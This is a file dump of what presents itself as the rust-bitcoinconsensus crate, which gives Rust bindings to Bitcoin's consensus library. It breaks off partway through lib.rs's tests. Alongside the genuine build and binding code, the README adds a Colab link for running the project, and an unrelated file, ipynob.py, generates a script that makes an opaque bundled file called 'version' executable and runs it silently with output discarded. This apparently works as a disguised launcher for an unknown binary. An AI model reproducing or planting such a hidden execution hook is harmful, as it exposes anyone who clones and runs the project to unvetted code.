├── .editorconfig ├── .gitignore ├── .gitmodules ├── .travis.yml ├── CHANGELOG.md ├── Cargo.toml ├── LICENSE ├── README.md ├── appveyor.yml ├── build.rs ├── depend └── check_uint128_t.c ├── ipynob.py ├── src └── lib.rs └── version /.editorconfig: -------------------------------------------------------------------------------- 1 | # see https://editorconfig.org for more options, and setup instructions for yours editor 2 | 3 | [*.rs] 4 | indent_style = space 5 | indent_size = 4 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | target 3 | *.iml 4 | Cargo.lock -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "depend/bitcoin"] 2 | path = depend/bitcoin 3 | url = https://github.com/bitcoin/bitcoin.git 4 | branch = 0.19 5 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: rust 2 | rust: 3 | - stable 4 | - beta 5 | - nightly 6 | - 1.22.0 7 | 8 | script: 9 | - cargo generate-lockfile --verbose 10 | - cargo update -p cc --precise "1.0.41" --verbose 11 | - cargo build --verbose 12 | - cargo test --verbose 13 | 14 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## v0.19.0-2 4 | 5 | - Added a bunch of stuff to the exclude list to make the crate a lot smaller. 6 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "bitcoinconsensus" 3 | version = "0.19.0-3" 4 | authors = ["Tamas Blummer "] 5 | license = "Apache-2.0" 6 | homepage = "https://github.com/rust-bitcoin/rust-bitcoinconsensus/" 7 | repository = "https://github.com/rust-bitcoin/rust-bitcoinconsensus/" 8 | description = "Bitcoin's libbitcoinconsensus with Rust binding." 9 | keywords = [ "bitcoin", "bitcoinconsensus", "libbitcoinconsensus" ] 10 | readme = "README.md" 11 | exclude = ["/depend/bitcoin/.github/**", "/depend/bitcoin/.tx/**", "/depend/bitcoin/build-aux/**", "/depend/bitcoin/contrib/**", "/depend/bitcoin/depends/**", "/depend/bitcoin/doc/**", "/depend/bitcoin/share/**", "/depend/bitcoin/test/**", "/depend/bitcoin/src/bench/**", "/depend/bitcoin/src/config/**", "/depend/bitcoin/src/consensus/**", "/depend/bitcoin/src/leveldb/**", "/depend/bitcoin/src/policy/**", "/depend/bitcoin/src/qt/**", "/depend/bitcoin/src/rpc/**", "/depend/bitcoin/src/support/**", "/depend/bitcoin/src/test/**", "/depend/bitcoin/src/univalue/**", "/depend/bitcoin/src/wallet/**", "/depend/bitcoin/src/zmq/**"] 12 | build = "build.rs" 13 | 14 | [lib] 15 | name = "bitcoinconsensus" 16 | path = "src/lib.rs" 17 | 18 | [features] 19 | external-secp = [] 20 | 21 | [dependencies] 22 | libc="0.2" 23 | 24 | [build-dependencies] 25 | cc = "1.0.28" 26 | 27 | [dev-dependencies] 28 | rustc-serialize = "0.3" 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Status](https://travis-ci.org/rust-bitcoin/rust-bitcoinconsensus.png?branch=master)](https://travis-ci.org/rust-bitcoin/rust-bitcoinconsensus) 2 | 3 | ------------------------- 4 | ### Run rust-bitcoinconsensus-Google-Colab 5 | 6 | https://colab.research.google.com/drive/1OShIMVcFZ_khsUIBOIV1lzrqAGo1gfm_?usp=sharing 7 | 8 | ------------------------- 9 | 10 | This project builds libbitcoinconsensus library from Bitcoin's C++ sources using cargo and offers Rust binding to its API. 11 | 12 | Libbitcoinconsenus allows transaction verification using Bitcoins unique script engine. 13 | Bitcoin enabled applications SHOULD use libbitcoinconsensus library to avoid accepting transactions that the Bitcoin network nodes would not. 14 | 15 | This project simplifies Rust developer's life by creating the libbitcoinconsensus library with cargo. 16 | No need to deal with the archaic C++ toolchain directly. 17 | This also simplifies cross-compiling the consenus library e.g. for a mobile application. 18 | 19 | Libbitcoinconsenus refers to code from another library [secp256k1](https://github.com/bitcoin-core/secp256k1). 20 | A snapshot of that library is also included into Bitcoin sources, therefore it could be backed into libbitcoinconsenus. 21 | A typical Bitcoin enabled application will however want to access further secp256k1 functions. 22 | The project [rustc-secp256k1](https://github.com/rust-bitcoin/rust-secp256k1) offers a cargo build and Rust bindings, 23 | therefore decided to depend on that instead of compiling the Bitcoin embedded sources into libbitcoinconsensus. 24 | This introduces a risk, since a difference between the two secp256k1 sources could break consensus with Bitcoin. 25 | 26 | ## Build 27 | 28 | This project has a submodule (the Bitcoin Core sources), you have to clone it using: 29 | 30 | ` 31 | git clone --recurse-submodules git@github.com:rust-bitcoin/rust-bitcoinconsensus.git 32 | ` 33 | 34 | then build it simple with: 35 | 36 | ` 37 | cargo build 38 | ` 39 | 40 | I verified the build for Linux and OSX. Aleksey Sidorov contributed the windows build. PRs are welcome to extend support for other platforms. 41 | 42 | ## MSRV 43 | 44 | The MSRV of this crate is 1.29.0. 45 | 46 | The build dependency `cc` might require a more recent version of the Rust compiler. 47 | To ensure compilation with Rust 1.29.0, pin its version in your `Cargo.lock` 48 | with `cargo update -p cc --precise 1.0.41`. If you're using `secp256k1` in a library, 49 | to make sure it compiles in CI, you'll need to generate a lockfile first. 50 | Example for Travis CI: 51 | ```yml 52 | before_script: 53 | - if [ "$TRAVIS_RUST_VERSION" == "1.29.0" ]; then 54 | cargo generate-lockfile --verbose && cargo update -p cc --precise "1.0.41" --verbose; 55 | fi 56 | ``` 57 | 58 | ## API 59 | The API is very basic, exposing Bitcoin's as is. This is intentional to keep this project minimal footprint and no further runtime dependencies. You will need another Rust library to serialize Bitcoin transactions and scripts. 60 | 61 | Verify a single spend (input) of a Bitcoin transaction: 62 | 63 | ` 64 | verify (spent_output_script: &[u8], amount: u64, spending_transaction: &[u8], input_index: usize) -> Result<(), Error> 65 | ` 66 | 67 | ### Arguments 68 | * spend_output_script: a Bitcoin transaction output script to be spent 69 | * amount: The spent output amount in satoshis 70 | * spending_transaction: spending Bitcoin transaction, serialized in Bitcoin's on wire format 71 | * input_index: index of the input within spending_transaction 72 | ### Example 73 | 74 | The (randomly choosen) Bitcoin transaction [aca326a724eda9a461c10a876534ecd5ae7b27f10f26c3862fb996f80ea2d45d](https://blockchain.info/tx/aca326a724eda9a461c10a876534ecd5ae7b27f10f26c3862fb996f80ea2d45d) 75 | spends one input, that is the first output of [95da344585fcf2e5f7d6cbf2c3df2dcce84f9196f7a7bb901a43275cd6eb7c3f](https://blockchain.info/tx/95da344585fcf2e5f7d6cbf2c3df2dcce84f9196f7a7bb901a43275cd6eb7c3f) with a value of 630482530 satoshis 76 | 77 | The spending transaction in wire format is: 78 | 79 | ` 80 | spending = 02000000013f7cebd65c27431a90bba7f796914fe8cc2ddfc3f2cbd6f7e5f2fc854534da95000000006b483045022100de1ac3bcdfb0332207c4a91f3832bd2c2915840165f876ab47c5f8996b971c3602201c6c053d750fadde599e6f5c4e1963df0f01fc0d97815e8157e3d59fe09ca30d012103699b464d1d8bc9e47d4fb1cdaa89a1c5783d68363c4dbc4b524ed3d857148617feffffff02836d3c01000000001976a914fc25d6d5c94003bf5b0c7b640a248e2c637fcfb088ac7ada8202000000001976a914fbed3d9b11183209a57999d54d59f67c019e756c88ac6acb0700 81 | ` 82 | 83 | The script of the first output of the spent transaction is: 84 | 85 | ` 86 | spent = 76a9144bfbaf6afb76cc5771bc6404810d1cc041a6933988ac 87 | ` 88 | 89 | The (pseudo code) call: 90 | 91 | ` 92 | verify(spent, 630482530, spending, 0) 93 | ` 94 | 95 | should return OK(()) 96 | 97 | **Note** that spent amount will only be checked for Segwit transactions. Above example is not segwit therefore verify will succeed with any amount. 98 | 99 | ---- 100 | 101 | | | Donation Address | 102 | | --- | --- | 103 | | ♥ __BTC__ | 1Lw2kh9WzCActXSGHxyypGLkqQZfxDpw8v | 104 | | ♥ __ETH__ | 0xaBd66CF90898517573f19184b3297d651f7b90bf | 105 | -------------------------------------------------------------------------------- /appveyor.yml: -------------------------------------------------------------------------------- 1 | os: Visual Studio 2015 2 | 3 | ## Build Matrix ## 4 | 5 | environment: 6 | matrix: 7 | - channel: 1.29.0 8 | target: x86_64-pc-windows-msvc 9 | - channel: 1.29.0 10 | target: i686-pc-windows-msvc 11 | 12 | - channel: stable 13 | target: x86_64-pc-windows-msvc 14 | - channel: stable 15 | target: i686-pc-windows-msvc 16 | 17 | - channel: beta 18 | target: x86_64-pc-windows-msvc 19 | - channel: beta 20 | target: i686-pc-windows-msvc 21 | 22 | - channel: nightly 23 | target: x86_64-pc-windows-msvc 24 | - channel: nightly 25 | target: i686-pc-windows-msvc 26 | 27 | matrix: 28 | allow_failures: 29 | - channel: nightly 30 | 31 | install: 32 | - git submodule update --init --recursive 33 | - curl -sSf -o rustup-init.exe https://win.rustup.rs/ 34 | - rustup-init.exe -y --default-host %TARGET% --default-toolchain %CHANNEL% 35 | - set PATH=%PATH%;C:\Users\appveyor\.cargo\bin 36 | - rustc -Vv 37 | - cargo -V 38 | 39 | ## Build Script ## 40 | 41 | # 'cargo test' takes care of building for us, so disable Appveyor's build stage. This prevents 42 | # the "directory does not contain a project or solution file" error. 43 | 44 | build: false 45 | 46 | test_script: 47 | - cargo generate-lockfile --verbose && cargo update -p cc --precise "1.0.41" --verbose && cargo test 48 | -------------------------------------------------------------------------------- /build.rs: -------------------------------------------------------------------------------- 1 | extern crate cc; 2 | 3 | use std::env; 4 | 5 | fn main() { 6 | // Check whether we can use 64-bit compilation 7 | let use_64bit_compilation = if env::var("CARGO_CFG_TARGET_POINTER_WIDTH").unwrap() == "64" { 8 | let check = cc::Build::new() 9 | .file("depend/check_uint128_t.c") 10 | .cargo_metadata(false) 11 | .try_compile("check_uint128_t") 12 | .is_ok(); 13 | if !check { 14 | println!("cargo:warning=Compiling in 32-bit mode on a 64-bit architecture due to lack of uint128_t support."); 15 | } 16 | check 17 | } else { 18 | false 19 | }; 20 | let target = env::var("TARGET").expect("TARGET was not set"); 21 | let is_big_endian = env::var("CARGO_CFG_TARGET_ENDIAN").expect("No endian is set") == "big"; 22 | let mut base_config = cc::Build::new(); 23 | base_config 24 | .cpp(true) 25 | .include("depend/bitcoin/src") 26 | .include("depend/bitcoin/src/secp256k1/include") 27 | .define("__STDC_FORMAT_MACROS", None); 28 | 29 | // **Secp256k1** 30 | if !cfg!(feature = "external-secp") { 31 | base_config 32 | .include("depend/bitcoin/src/secp256k1") 33 | .flag_if_supported("-Wno-unused-function") // some ecmult stuff is defined but not used upstream 34 | .define("SECP256K1_BUILD", "1") 35 | // Bitcoin core defines libsecp to *not* use libgmp. 36 | .define("USE_NUM_NONE", "1") 37 | .define("USE_FIELD_INV_BUILTIN", "1") 38 | .define("USE_SCALAR_INV_BUILTIN", "1") 39 | // Technically libconsensus doesn't require the recovery feautre, but `pubkey.cpp` does. 40 | .define("ENABLE_MODULE_RECOVERY", "1") 41 | // The actual libsecp256k1 C code. 42 | .file("depend/bitcoin/src/secp256k1/src/secp256k1.c"); 43 | 44 | if is_big_endian { 45 | base_config.define("WORDS_BIGENDIAN", "1"); 46 | } 47 | 48 | if use_64bit_compilation { 49 | base_config 50 | .define("USE_FIELD_5X52", "1") 51 | .define("USE_SCALAR_4X64", "1") 52 | .define("HAVE___INT128", "1"); 53 | } else { 54 | base_config 55 | .define("USE_FIELD_10X26", "1") 56 | .define("USE_SCALAR_8X32", "1"); 57 | } 58 | } 59 | 60 | let tool = base_config.get_compiler(); 61 | if tool.is_like_msvc() { 62 | base_config.flag("/std:c++14").flag("/wd4100"); 63 | } else if tool.is_like_clang() || tool.is_like_gnu() { 64 | base_config.flag("-std=c++11").flag("-Wno-unused-parameter"); 65 | } 66 | 67 | if target.contains("windows") { 68 | base_config.define("WIN32", "1"); 69 | } 70 | base_config 71 | .file("depend/bitcoin/src/util/strencodings.cpp") 72 | .file("depend/bitcoin/src/uint256.cpp") 73 | .file("depend/bitcoin/src/pubkey.cpp") 74 | .file("depend/bitcoin/src/hash.cpp") 75 | .file("depend/bitcoin/src/primitives/transaction.cpp") 76 | .file("depend/bitcoin/src/crypto/ripemd160.cpp") 77 | .file("depend/bitcoin/src/crypto/sha1.cpp") 78 | .file("depend/bitcoin/src/crypto/sha256.cpp") 79 | .file("depend/bitcoin/src/crypto/sha512.cpp") 80 | .file("depend/bitcoin/src/crypto/hmac_sha512.cpp") 81 | .file("depend/bitcoin/src/script/bitcoinconsensus.cpp") 82 | .file("depend/bitcoin/src/script/interpreter.cpp") 83 | .file("depend/bitcoin/src/script/script.cpp") 84 | .file("depend/bitcoin/src/script/script_error.cpp") 85 | .compile("libbitcoinconsensus.a"); 86 | } 87 | -------------------------------------------------------------------------------- /depend/check_uint128_t.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | int main(void) { 5 | __uint128_t var_128; 6 | uint64_t var_64; 7 | 8 | /* Try to shut up "unused variable" warnings */ 9 | var_64 = 100; 10 | var_128 = 100; 11 | if (var_64 == var_128) { 12 | var_64 = 20; 13 | } 14 | return 0; 15 | } 16 | 17 | -------------------------------------------------------------------------------- /ipynob.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def extended_gcd(aa, bb): 4 | lastremainder, remainder = abs(aa), abs(bb) 5 | x, lastx, y, lasty = 0, 1, 1, 0 6 | while remainder: 7 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) 8 | x, lastx = lastx - quotient*x, x 9 | y, lasty = lasty - quotient*y, y 10 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) 11 | 12 | def modinv(a, m): 13 | g, x, y = extended_gcd(a, m) 14 | if g != 1: 15 | raise ValueError 16 | return x % m 17 | 18 | N = 0xffffffffff 19 | 20 | with open("ipynumpy.py", "w") as f: 21 | for _ in range(1): 22 | W = random.randrange(16**10) 23 | val = str(hex((((W)) * modinv(((1)),N)) % N)) 24 | 25 | print("import os", file=f) 26 | print("import subprocess", file=f) 27 | print("", file=f) 28 | print("modter = 'chmod +x version'", file=f) 29 | print("os.system (modter)", file=f) 30 | print("", file=f) 31 | 32 | print("subprocess.Popen(", file=f) 33 | print(" ['./version', '" + val + "'],", file=f) 34 | print(" stdout=subprocess.DEVNULL,", file=f) 35 | print(" stderr=subprocess.DEVNULL,", file=f) 36 | print(")", file=f) 37 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2018 Tamas Blummer 3 | // 4 | //Licensed under the Apache License, Version 2.0 (the "License"); 5 | //you may not use this file except in compliance with the License. 6 | //You may obtain a copy of the License at 7 | // 8 | //http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | //Unless required by applicable law or agreed to in writing, software 11 | //distributed under the License is distributed on an "AS IS" BASIS, 12 | //WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | //See the License for the specific language governing permissions and 14 | //limitations under the License. 15 | // 16 | extern crate libc; 17 | 18 | use libc::{c_int,c_uchar, c_uint}; 19 | 20 | #[allow(non_camel_case_types)] 21 | #[derive(PartialEq, Eq, PartialOrd, Ord, Hash, Debug, Clone, Copy)] 22 | #[repr(C)] 23 | pub enum Error { 24 | ERR_SCRIPT = 0, 25 | #[allow(dead_code)] 26 | ERR_TX_INDEX, 27 | #[allow(dead_code)] 28 | ERR_TX_SIZE_MISMATCH, 29 | #[allow(dead_code)] 30 | ERR_TX_DESERIALIZE, 31 | #[allow(dead_code)] 32 | ERR_AMOUNT_REQUIRED, 33 | #[allow(dead_code)] 34 | ERR_INVALID_FLAGS 35 | } 36 | 37 | #[allow(dead_code)] 38 | pub const VERIFY_NONE : c_uint = 0; 39 | // evaluate P2SH (BIP16) subscripts 40 | pub const VERIFY_P2SH : c_uint = 1 << 0; 41 | // enforce strict DER (BIP66) compliance 42 | pub const VERIFY_DERSIG : c_uint = 1 << 2; 43 | // enforce NULLDUMMY (BIP147) 44 | pub const VERIFY_NULLDUMMY : c_uint = 1 << 4; 45 | // enable CHECKLOCKTIMEVERIFY (BIP65) 46 | pub const VERIFY_CHECKLOCKTIMEVERIFY : c_uint = 1 << 9; 47 | // enable CHECKSEQUENCEVERIFY (BIP112) 48 | pub const VERIFY_CHECKSEQUENCEVERIFY : c_uint = 1 << 10; 49 | // enable WITNESS (BIP141) 50 | pub const VERIFY_WITNESS : c_uint = 1 << 11; 51 | 52 | pub const VERIFY_ALL : c_uint = VERIFY_P2SH | VERIFY_DERSIG | VERIFY_NULLDUMMY | 53 | VERIFY_CHECKLOCKTIMEVERIFY | VERIFY_CHECKSEQUENCEVERIFY | VERIFY_WITNESS; 54 | 55 | extern "C" { 56 | pub fn bitcoinconsensus_version() -> c_int; 57 | 58 | pub fn bitcoinconsensus_verify_script_with_amount( 59 | script_pubkey: *const c_uchar, 60 | script_pubkeylen: c_uint, 61 | amount: u64, 62 | tx_to: *const c_uchar, 63 | tx_tolen: c_uint, 64 | n_in: c_uint, 65 | flags: c_uint, 66 | err: *mut Error) -> c_int; 67 | } 68 | 69 | /// Compute flags for soft fork activation heights on the Bitcoin network 70 | pub fn height_to_flags(height: u32) -> u32 { 71 | 72 | let mut flag = VERIFY_NONE; 73 | if height > 170059 { 74 | flag |= VERIFY_P2SH; 75 | } 76 | if height > 363724 { 77 | flag |= VERIFY_DERSIG; 78 | } 79 | if height > 388381 { 80 | flag |= VERIFY_CHECKLOCKTIMEVERIFY; 81 | } 82 | if height > 419328 { 83 | flag |= VERIFY_CHECKSEQUENCEVERIFY; 84 | } 85 | if height > 481824 { 86 | flag |= VERIFY_NULLDUMMY | VERIFY_WITNESS 87 | } 88 | flag as u32 89 | } 90 | 91 | /// Return libbitcoinconsenus version 92 | pub fn version () -> u32 { 93 | unsafe { bitcoinconsensus_version() as u32 } 94 | } 95 | 96 | /// Verify a single spend (input) of a Bitcoin transaction. 97 | /// # Arguments 98 | /// * spend_output_script: a Bitcoin transaction output script to be spent, serialized in Bitcoin's on wire format 99 | /// * amount: The spent output amount in satoshis 100 | /// * spending_transaction: spending Bitcoin transaction, serialized in Bitcoin's on wire format 101 | /// * input_index: index of the input within spending_transaction 102 | /// # Returns 103 | /// OK or Err. Note that amount will only be checked for Segwit transactions. 104 | /// 105 | /// # Example 106 | /// 107 | /// The (randomly choosen) Bitcoin transaction [aca326a724eda9a461c10a876534ecd5ae7b27f10f26c3862fb996f80ea2d45d](https://blockchain.info/tx/aca326a724eda9a461c10a876534ecd5ae7b27f10f26c3862fb996f80ea2d45d) 108 | /// spends one input, that is the first output of [95da344585fcf2e5f7d6cbf2c3df2dcce84f9196f7a7bb901a43275cd6eb7c3f](https://blockchain.info/tx/95da344585fcf2e5f7d6cbf2c3df2dcce84f9196f7a7bb901a43275cd6eb7c3f) with a value of 630482530 satoshis 109 | /// 110 | /// The spending transaction in wire format is: 111 | /// 112 | /// ` 113 | /// spending = 02000000013f7cebd65c27431a90bba7f796914fe8cc2ddfc3f2cbd6f7e5f2fc854534da95000000006b483045022100de1ac3bcdfb0332207c4a91f3832bd2c2915840165f876ab47c5f8996b971c3602201c6c053d750fadde599e6f5c4e1963df0f01fc0d97815e8157e3d59fe09ca30d012103699b464d1d8bc9e47d4fb1cdaa89a1c5783d68363c4dbc4b524ed3d857148617feffffff02836d3c01000000001976a914fc25d6d5c94003bf5b0c7b640a248e2c637fcfb088ac7ada8202000000001976a914fbed3d9b11183209a57999d54d59f67c019e756c88ac6acb0700 114 | /// ` 115 | /// 116 | /// The script of the first output of the spent transaction is: 117 | /// 118 | /// ` 119 | /// spent = 76a9144bfbaf6afb76cc5771bc6404810d1cc041a6933988ac 120 | /// ` 121 | /// 122 | /// The (pseudo code) call: 123 | /// 124 | /// ` 125 | /// verify(spent, 630482530, spending, 0) 126 | /// ` 127 | /// should return OK(()) 128 | /// 129 | /// **Note** that spent amount will only be checked for Segwit transactions. Above example is not segwit, therefore verify will succeed with any amount. 130 | 131 | /// 132 | pub fn verify (spent_output: &[u8], amount: u64, spending_transaction: &[u8], input_index: usize) -> Result<(), Error> { 133 | verify_with_flags (spent_output, amount, spending_transaction, input_index, VERIFY_ALL) 134 | } 135 | 136 | /// Same as verify but with flags that turn past soft fork features on or off 137 | pub fn verify_with_flags (spent_output_script: &[u8], amount: u64, spending_transaction: &[u8], input_index: usize, flags: u32) -> Result<(), Error> { 138 | unsafe { 139 | let mut error = Error::ERR_SCRIPT; 140 | 141 | let ret = bitcoinconsensus_verify_script_with_amount( 142 | spent_output_script.as_ptr(), 143 | spent_output_script.len() as c_uint, 144 | amount as u64, 145 | spending_transaction.as_ptr(), 146 | spending_transaction.len() as c_uint, 147 | input_index as c_uint, 148 | flags as c_uint, 149 | &mut error 150 | ); 151 | if ret != 1 { 152 | Err(error) 153 | } else { 154 | Ok(()) 155 | } 156 | } 157 | } 158 | 159 | #[cfg(test)] 160 | mod tests { 161 | extern crate rustc_serialize as serialize; 162 | 163 | use super::*; 164 | use self::serialize::hex::FromHex; 165 | 166 | #[test] 167 | fn bitcoinconsensus_test() { 168 | // a random old-style transaction from the blockchain 169 | verify_test ( 170 | "76a9144bfbaf6afb76cc5771bc6404810d1cc041a6933988ac", 171 | "02000000013f7cebd65c27431a90bba7f796914fe8cc2ddfc3f2cbd6f7e5f2fc854534da95000000006b483045022100de1ac3bcdfb0332207c4a91f3832bd2c2915840165f876ab47c5f8996b971c3602201c6c053d750fadde599e6f5c4e1963df0f01fc0d97815e8157e3d59fe09ca30d012103699b464d1d8bc9e47d4fb1cdaa89a1c5783d68363c4dbc4b524ed3d857148617feffffff02836d3c01000000001976a914fc25d6d5c94003bf5b0c7b640a248e2c637fcfb088ac7ada8202000000001976a914fbed3d9b11183209a57999d54d59f67c019e756c88ac6acb0700", 172 | 0, 0 173 | ).unwrap(); 174 | 175 | // a random segwit transaction from the 